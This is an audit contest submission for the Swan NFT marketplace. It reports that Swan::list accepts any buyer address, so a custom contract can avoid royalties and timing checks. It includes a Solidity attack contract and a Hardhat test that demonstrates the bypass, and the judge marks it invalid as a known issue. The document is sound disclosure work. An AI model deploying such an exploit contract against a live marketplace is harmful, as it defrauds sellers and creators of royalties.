Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: high
Invalid

Swan::list doesnt validate if _buyer was deployed using BuyerAgentFactory, if not _buyer can avoid paying royalties and buy asset whenever it wants bypassing swan validations

Summary

Swan::list doesnt check that buyer was deployed using BuyerAgentFactory so, if buyer is a custom contract it can avoid paying royalties and bypass all requirements when buying an asset

Vulnerability Details

Swan::list allows sellers to make offerings to arbitrary addresses allowing _buyer to be a custom contract because it doesnt check that buyer is a buyerAgent ie was deployed using BuyerAgentFactory.
If _buyer is a custom contract then it can avoid paying royalties and bypass all timing requirements on swan::purchase.

The following Proof on concept show the issue described above with the following scenario:

  1. Attacker deploys a custom buyer contract (C) to be used on swan

  2. Seller list item for contract C using swan::list(asset_properties, C)

  3. Attacker uses C to buy asset without paying royalties and without waiting anytime bypassing swan purchase restrictions using C to call swan::purchase.

Proof of concept:
First save the modified buyerAgent contract in contracts/BuyerAgentMod.sol file:

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
interface SwanIface {
function purchase(address) external;
}
interface TokenIface {
function approve(address, uint) external;
}
contract BuyerAgentMod {
uint96 public royaltyFee;
uint96 public round;
enum Phase {
Sell, Buy, Withdraw
}
constructor() {
royaltyFee = 1;
round = 1;
}
function getRoundPhase() public view returns (uint256, Phase, uint256) {
return (round, Phase.Sell, 100);
}
function purchase(address swan,address token, address asset) external{
TokenIface(token).approve(swan, type(uint256).max);
SwanIface(swan).purchase(asset);
}
}

Next add the following test case under sell phase section in test/Swan.test.ts

it("AAA allows to purchase in sell phase, but should not", async function () {
// Deploy modified CT BuyerAgentMod
const BuyAgentCtF = await ethers.getContractFactory("BuyerAgentMod");
const BuyerAgentMod = await BuyAgentCtF.deploy().then((tx) => tx.waitForDeployment());
console.log("BuyerAgentMod addr ",await BuyerAgentMod.getAddress());
// Fund agent BuyerAgentMod with tokens
await token.transfer(await BuyerAgentMod.getAddress(), parseEther("30"));
console.log(await token.balanceOf(await BuyerAgentMod.getAddress()));
// Seller list asset for BuyerAgentMod
await swan.connect(seller).list(
NAME,
SYMBOL,
DESC,
PRICE1+PRICE1,
await BuyerAgentMod.getAddress()
);
// Get listed asset
let listed_asset = await swan.getListedAssets(
await BuyerAgentMod.getAddress(),
await BuyerAgentMod.round()
)
console.log(listed_asset);
// BuyerAgentMod purchases asset not paying fees, not waiting phases
expect(await BuyerAgentMod.purchase(
await swan.getAddress(),
await token.getAddress(),
listed_asset[0]
)).to.emit(swan, "AssetSold")
});

Execute the test and observe that attacker can use a smart contract to buy an asset avoid paying royalties and bypassing timing requirements

Impact

Severity: High due to exploiting this vulnerability allows to buy assets avoid paying royalties and bypassing all requirements

Tools Used

Manual Review

Recommendations

Swan should have a mapping of deployed buyerAgents and check if buyer address is there on swan::list function

Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.